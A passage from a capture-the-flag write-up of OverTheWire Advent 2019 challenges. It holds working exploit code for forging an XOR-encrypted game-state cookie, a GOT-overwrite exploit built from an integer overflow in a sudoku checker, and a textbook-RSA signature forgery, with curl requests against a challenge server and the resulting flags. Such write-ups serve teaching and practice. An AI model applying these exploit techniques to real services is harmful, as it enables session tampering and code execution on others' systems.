710 dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
711 dvhIkPAdCuRX03IRLlvnQuEzGK
712
713 0s/Q==
714 ```
715
716 Clearly a pattern emerged because parts of the ciphertext repeated itself. This is obviously bad!
717
718 The hypothesis that we came to was that the username has to be obviously included in the ciphertext and the ciphertext is only XORed with the key. The key repeats itself because we can see patterns. This means that it should be possible to retrieve the key by XORing everything with repeated 'x'.
719
720 ```
721 >>> binascii.hexlify(bytes(data[i] ^ ord(b'x') for i in range(len(data))))
722 b'8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f0e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d55485'
723 ``` 
724
725 Reformatting the result makes the repeating pattern obvious:
726   
727 ```
728 8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f
729
730 0e8030e88865729c2fab0a6956239f3a994b60d5
731 0e8030e88865729c2fab0a6956239f3a994b60d5
732 0e8030e88865729c2fab0a6956239f3a994b60d5
733 0e8030e88865729c2fab0a6956239f3a994b60d5
734 0e8030e88865729c2fab0a6956239f3a994b60d5
735 0e8030e88865729c2fab0a6956239f3a994b60d5
736 0e8030e88865729c2fab0a6956239f3a994b60d5
737 0e8030e88865729c2fab0a6956239f3a994b60d5
738 0e8030e88865729c2fab0a6956239f3a994b60d5
739 0e8030e88865729c2fab0a6956239f3a994b60d5
740
741 5485
742 ```
743
744 However, it is unlikely that the key starts with the beginning of the `x` sequence. Therefore we will try all possible combinations (luckily there are only 20):
745
746 ```python
747 import base64
748 import binascii
749
750 def key_candidate(key):
751     for i in range(len(key)):
752         yield key[i + 1:] + key[:i + 1]
753
754
755 data = base64.b64decode('80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK0s/Q==')
756 key = binascii.unhexlify('0e8030e88865729c2fab0a6956239f3a994b60d5')
757
758 for key in key_candidate(key):
759     plaintext = "".join(chr(data[i] ^ key[i % len(key)]) for i in range(len(data)))
760     try:
761         plaintext.encode("ascii")
762         print("Found key: {}".format(binascii.hexlify(key)))
763         print(plaintext)
764     except:
765         continue
766 ```
767
768 This will print the key that was used because all other key candidates do not decrypt the ciphertext to plain ASCII:
769
770 ```
771 Found key: b'8865729c2fab0a6956239f3a994b60d50e8030e8'
772 {"money": 0.0, "speed": 1, "name": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
773 ```
774
775 **Note:** The key is actually derived from the ID that is sent back to the client by calculating the SHA1 hash of the binary ID (see the source code of the challenge which was released after the deadline: https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-17_web1/server.py#L101)
776
777 #### Setting the state
778
779 With the key it is now easy to decrypt and encrypt arbitrary data.
780
781 ```python
782 import hashlib
783 import base64
784
785
786 def encrypt(data, ID):
787     key = hashlib.sha1(base64.b64decode(ID)).digest()
788     data = data.encode()
789     ciphertext = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
790     return base64.b64encode(ciphertext)
791
792
793 print(encrypt('{"money": 5.0, "speed": 10e63, "name": "username"}', 'OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o='))
794 ```
795
796 We now have to send the new state with the collection speed 10e63 to the server. The `/control` endpoint supports `save` as an action which will overwrite the state of the game.
797
798 ```
799 $ curl 'http://3.93.128.89:1217/control' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"save","data":"nQZ2wk0avgzGKhMR4Sy5io/o55SCBiGNEk/3Hsw6Fg/9ILvGnfXn09wEOdhQGrVAnWdDHaw="}' 
800 ```
801
802 Now we check if the state was successfully changed:
803
804 ```
805 $ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' 
806 {"collect_speed":1e+64,"elf_name":"username","flag":"AOTW{leaKinG_3ndp0int5}","snowflakes":9e+63,"speed_upgrade_cost":1e+300}
807 ```
808
809 Very good! Now we can buy the flag.
810
811 ```
812 $ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"buy_flag"}'
813 ```
814
815 The flag is now part of the `state` response:
816
817 ```
818 $ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' | json_pp
819 {
820    "snowflakes" : 9e+63,
821    "flag" : "AOTW{leaKinG_3ndp0int5}",
822    "speed_upgrade_cost" : 1e+300,
823    "elf_name" : "username",
824    "collect_speed" : 1e+64
825 }
826 ```
827
828 The flag is: `AOTW{leaKinG_3ndp0int5}`
829
830 ## day-18 impressive sudoku
831
832 ### Meta
833
834 * **Spent time:** 12 hours
835 * **Solved:** nope
836 * **Difficulty:** easy to medium
837
838 ### Description
839
840 > First we asked you to solve a sudoku, now we want you to make one.
841
842 Along with an IP address/port there is also an archive given: https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz The archive contains the file chal.cc and chal (an executable built from chal.cc).
843
844 ### Analysis
845
846 chal.cc has 89 lines and expects a sudoku as an input (given by a 9x9 matrix read from stdin). The sudoku is checked and if the *score* of the sudoku is >= 1000000, the flag is printed.
847
848 There are two interesting functions: `check()` and `score()`. The first one checks if the given sudoku is valid according to the "usual" rules (i. e. every column and row as well as all 3x3 fields have to be a valid permutation of the numbers from 1 to 9):
849
850 ```C
851 bool check() {
852     uint row[9];
853     for (int i = 0; i < 9; i++) {
854         for (int j = 0; j < 9; j++) {
855             row[j] = sudoku[i][j];
856         }
857         if (!checkrow(row)) {
858             return false;
859         }
860     }
861     for (int j = 0; j < 9; j++) {
862         for (int i = 0; i < 9; i++) {
863             row[i] = sudoku[i][j];
864         }
865         if (!checkrow(row)) {
866             return false;
867         }
868     }
869     for (int i = 0; i < 3; i++) {
870         for (int j = 0; j < 3; j++) {
871             for (int ii = 0; ii < 3; ii++) {
872                 for (int jj = 0; jj < 3; jj++) {
873                     row[ii * 3 + jj] = sudoku[i * 3 + ii][j * 3 + jj];
874                 }
875             }
876             if (!checkrow(row)) {
877                 return false;
878             }
879         }
880     }
881     return true;
882 }
883
884 bool checkrow(uint nums[9]) {
885     uint sum = 0;
886     uint prod = 1;
887     for (int i = 0; i < 9; i++) {
888         sum += nums[i];
889         prod *= nums[i];
890     }
891     // Lazy way to check nums is a permutation of 1 - 9.
892     return sum == 45 && prod == 362880;
893 }
894 ```
895
896 Interesting is the `checkrow()` function: To check if the integers are a valid permutation of 1 to 9, it sums up and multiplies all integers. However, the function contains a bug: If one of the digits overflows the range of an unsigned integer, the calculation happens modulo `sizeof(uint)`. I.e. it's possible to have numbers outside of 1 to 9 in the `nums` array which will be important later on.
897
898 Do determine the score of the sudoku the following code is used:
899
900 ```C
901 uint scorer[9 + 1];
902
903 void score() {
904         (...)
905     for (int i = 0; i < 8; i++) {
906         scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
907     }
908     uint score = 1;
909     for (int i = 1; i <= 9; i++) {
910         score *= scorer[i];
911     }
912     (...)
913 }
914 ```
915
916 This code is interesting due to multiple reasons: 
917
918 * The first loop goes from 0 to inclusive 7, the second loop goes from 1 to inclusive 9. The second loop multiplies the values in the scorer array from `scorer[1]` to `scorer[9]`. However, the first loop is executed only 7 times. This means that two values will always be 0 because they are not overwritten in the `scorer` array and hence the whole score will always be 0.
919 * The value of the sudoku itself is used as an index for the `scorer` array: `scorer[sudoku[i][i]] = sudoku[i + 1][i + 1]`. 
920
921 At this point we were stuck and did not really know how to proceed.
922
923 ### Solution
924
925 After the CTF, somebody posted a solution in Mattermost: https://pastebin.com/yMM49Q2W
926
927 The idea is to overwrite the address of `puts()` with the address of `win()`. This is possible because due to the overflow it is possible to overwrite arbitrary addresses: 
928
929 ```C
930         scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
931 ```
932
933 This is equal to `*(scorer + sudoku[i][i]) = sudoku[i + 1][i + 1]`. The address of `puts()` is overwritten if `scorer + 4*sudoku[i][i] == puts`. Therefore we calculate the difference of the addresses of `puts()` and the `scorer` array and divide it by the size of an unsigned integer (4):
934
935 We don't know the position of `puts()` but because it is a library function, it uses the PLT (see also https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html for an explanation):
936
937 ```
938 08048400 <puts@plt>:
939  8048400:       ff 25 10 a0 04 08       jmp    *0x804a010
940  8048406:       68 08 00 00 00          push   $0x8
941  804840b:       e9 d0 ff ff ff          jmp    80483e0 <.plt>
942 ```
943
944 Therefore we take the hard coded address `0x804a010` and write to that location.
945
946 ```
947 ADDR_WIN = 0x08048799
948 ADDR_PUTS = 0x0804A010
949 ADDR_SCORER = 0x0804A1C0
950 OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4
951 ```
952
953 Now we use Z3 to model a solution to the sudoku:
954
955 ```python
956 cells = [BitVec('c_%d' % i, 32) for i in range(9)]
957  
958 s = Solver()
959 s.add(sum(cells) == 45)
960 s.add(Product(cells) == 362880)
961 s.add(cells[0] == OFFSET_PUTS+2**32)
962 s.add(cells[1] == ADDR_WIN)
963 s.add(cells[2] == 1)
964 s.add(cells[3] == 2)
965 s.add(cells[4] == 3)
966
967 s.check()
968 m = s.model()
969 row = [m[c].as_long() for c in cells]
970 ```
971
972 **Notes:**
973
974 * `2**32` is added to the offset because it is negative.
975 * The sum of all cells must be 45, which is checked in the `checkrow()` function.
976 * The product of all cells must be 362880, which is checked in the `checkrow()` function as well.
977
978 The output is, for example: `[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]`
979
980 Now we take an existing sudoku and replace the numbers with the numbers from the model. I. e. 3 in the first column is replaced with 1 because 1 is on the 3rd number in the output list. 6 is replaced with 3911297825 because it is the 6th number in the list, etc. This way the overflow holds for the rows, columns and the 3x3 matrices as well.
981
982 The final exploit sudoku is then sent line-wise to the server. The flag is retrieved and printed.
983
984 ```C
985 r = remote(HOST, PORT)
986  
987 solution_idx = [
988         [3, 6, 7, 5, 8, 4, 1, 2, 9],
989         [2, 4, 1, 7, 3, 9, 5, 6, 8],
990         [9, 8, 5, 2, 6, 1, 4, 3, 7],
991         [6, 5, 2, 3, 9, 7, 8, 4, 1],
992         [7, 1, 3, 8, 4, 2, 6, 9, 5],
993         [4, 9, 8, 6, 1, 5, 2, 7, 3],
994         [1, 7, 9, 4, 2, 8, 3, 5, 6],
995         [8, 2, 6, 9, 5, 3, 7, 1, 4],
996         [5, 3, 4, 1, 7, 6, 9, 8, 2],
997 ]
998  
999 for row in range(9):
1000         r.sendline(' '.join(str(values[idx-1]) for idx in solution_idx[row]).encode('ascii'))
1001  
1002 response = r.recvall()
1003 r.close()
1004 if b'AOTW{' in response:
1005         print(response)
1006 ```
1007
1008 This prints the flag: `AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}`
1009
1010 ## day-19 santa's signature
1011
1012 ### Meta
1013
1014 * **Spent time:** 2 hours
1015 * **Solved:** by myself
1016 * **Difficulty:** easy
1017
1018 ### Description
1019
1020 > Can you forge Santa's signature? 
1021
1022 Along with the IP address/port there was also the Python code running on the server given which made the challenge even easier to solve.
1023
1024 ```python
1025 #!/usr/bin/env python3
1026 import Crypto
1027 from Crypto.PublicKey import RSA
1028 import sys
1029
1030 try:
1031     with open("key",'r') as f:
1032         key = RSA.importKey(f.read())
1033 except:
1034     rng = Crypto.Random.new().read
1035     key = RSA.generate(4096, rng)
1036     with open("key",'w') as f:
1037         f.write(key.exportKey().decode("utf-8"))
1038
1039 def h2i(h):
1040     try:
1041         return int(h,16)
1042     except Exception:
1043         print("Couldn't hex decode",flush=True)
1044         sys.exit()
1045
1046 header = \
1047 """Dear Santa,
1048 Last christmas you gave me your public key,
1049 to confirm it really is you please sign three
1050 different messages with your private key.
1051
1052 Here is the public key you gave me:"""
1053 print(header,flush=True)
1054 print(key.publickey().exportKey().decode("utf-8"),flush=True)
1055 ms = []
1056
1057 for i in range(1,4):
1058     m = h2i(input("Message %d you signed (hex encoded):" % i))
1059     if m in ms:
1060         print("I said different messages!",flush=True)
1061         sys.exit()
1062     s = [h2i(input("Signature %d:" % i))]
1063     if not key.verify(m,s):
1064         print("Looks like you aren't Santa after all!",flush=True)
1065         sys.exit()
1066     ms.append(m)
1067
1068 print("Hello Santa, here is your flag:",flush=True)
1069 with open("flag",'r') as flag:
1070     print(flag.read(),flush=True)
1071 ```
1072
1073 The public key that is presented by the server is as follows:
1074
1075 ```
1076 -----BEGIN PUBLIC KEY-----
1077 MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1jb39GZlWh9XPpOHmaa
1078 ZEYrbNqa6KMf4E211NYklZytuRBQy71zOI8V9O7i12C4hjhoAzj8JnXkpFur7w3z
1079 PLimVB/B+KfQq3fo5YqWzVhi06LuuCvyGwkWSO3K2sMyH3ISKlPKlyVzhr/9qeHR
1080 2gbFXK6so8rHXpZGgSJk5TimuY4yb+TNjpfi4srQIyepVPCjECs4n+Ii941c+7KW
1081 2wScAUk7MuMExuKuNvvKeTZdhQeq/ZCd0otascBXk9GmsBx0eVBzG8/94Hm+9egl
1082 eQu1DqLn/HZovaAcyIbqjunuB/KoM76DISjhmcaRyipafEJm+u9/jPHAG+8dLUuc
1083 Wr+04D9iAFBEt5XBA2u3WaaL4/eP7hR5mR9QOxH8YilpttfQJY/78AXo+GJtECTF
1084 LJ7zRyP1Jq89qdySJVumxwZmKP3sE7mojTb2030TDF/27v+vMVVtczyAQdybDHzj
1085 8ainHn2SP3yTTOnjNTuGWvIcs3Qa4bv78ezTmLofpsZLoRbcx5FV2YXuiao8ezD/
1086 WBuIOlDZhqRiods3LN8x7gNQo8zDmwY0Z54oac2dPgIUr1AvnDbEGdqyCyJRIrnW
1087 kLFMXdy2GJLSFMk+rswORKEtojCmqQIydW7+5M4J4FhVNyVtNuPcLfUjF+e5+V5E
1088 +piEcAsCnQ1k9QHGZAuVxX8CAwEAAQ==
1089 -----END PUBLIC KEY-----
1090 ```
1091
1092 ### Analysis
1093
1094 My first guess for this challenge was that this involves some "RSA exponent three attack" (https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/) but in fact it was actually even easier. RSA is prone to a lot of attacks if implemented and used "raw", i. e. textbook style. The crypto library used is https://github.com/dlitz/pycrypto, so I downloaded that library and looked at the verify function.
1095
1096 ```python
1097  def verify(self, M, signature):
1098         """Verify the validity of an RSA signature.
1099         :attention: this function performs the plain, primitive RSA encryption
1100          (*textbook*). In real applications, you always need to use proper
1101          cryptographic padding, and you should not directly verify data with
1102          this method. Failure to do so may lead to security vulnerabilities.
1103          It is recommended to use modules
1104          `Crypto.Signature.PKCS1_PSS` or `Crypto.Signature.PKCS1_v1_5` instead.
1105 ```
1106
1107 The function description confirms the suspicion that it is vulnerable which means that we are on the right track.
1108
1109 Verification in case of RSA works as follows:
1110
1111 If `s^e mod n` is equal to `m mod n` then the signature is valid (s is the signature, e is the public exponent, n is is the public modulus). 
1112
1113 ### Solution
1114
1115 It is obvious that the equation is true for s = m = 0 and s = m = 1. However, we have to give three forged signatures and messages. But there is another special case  s = -1 because the (-1)^e = -1 if e is odd. Since e = 65537, this is the case. However, the server does not accept -1 as a message:
1116
1117 ```
1118 Message 1 you signed (hex encoded):-1
1119 Signature 1:-1
1120 Looks like you aren't Santa after all!
1121 ```
1122
1123 This can be solved by calculating `-1 mod n` so that the message is positive. This can be calculated easily with a bit of Python:
1124
1125 ```python
1126 >>> hex(pow(-1, e, n))
1127 bb58dbdfd19995687d5cfa4e1e669a64462b6cda9ae8a31fe04db5d4d624959cadb91050cbbd73388f15f4eee2d760b88638680338fc2675e4a45babef0df33cb8a6541fc1f8a7d0ab77e8e58a96cd5862d3a2eeb82bf21b091648edcadac3321f72122a53ca97257386bffda9e1d1da06c55caeaca3cac75e9646812264e538a6b98e326fe4cd8e97e2e2cad02327a954f0a3102b389fe222f78d5cfbb296db049c01493b32e304c6e2ae36fbca79365d8507aafd909dd28b5ab1c05793d1a6b01c747950731bcffde079bef5e825790bb50ea2e7fc7668bda01cc886ea8ee9ee07f2a833be832128e199c691ca2a5a7c4266faef7f8cf1c01bef1d2d4b9c5abfb4e03f62005044b795c1036bb759a68be3f78fee1479991f503b11fc622969b6d7d0258ffbf005e8f8626d1024c52c9ef34723f526af3da9dc92255ba6c7066628fdec13b9a88d36f6d37d130c5ff6eeffaf31556d733c8041dc9b0c7ce3f1a8a71e7d923f7c934ce9e3353b865af21cb3741ae1bbfbf1ecd398ba1fa6c64ba116dcc79155d985ee89aa3c7b30ff581b883a50d986a462a1db372cdf31ee0350a3ccc39b0634679e2869cd9d3e0214af502f9c36c419dab20b225122b9d690b14c5ddcb61892d214c93eaecc0e44a12da230a6a90232756efee4ce09e0585537256d36e3dc2df52317e7b9f95e44fa9884700b029d0d64f501c6640b95c57e
1128 ```
1129
1130 Now that we have all three messages and signatures, the server gives us the flag: `AOTW{RSA_3dg3_c4s3s_ftw}`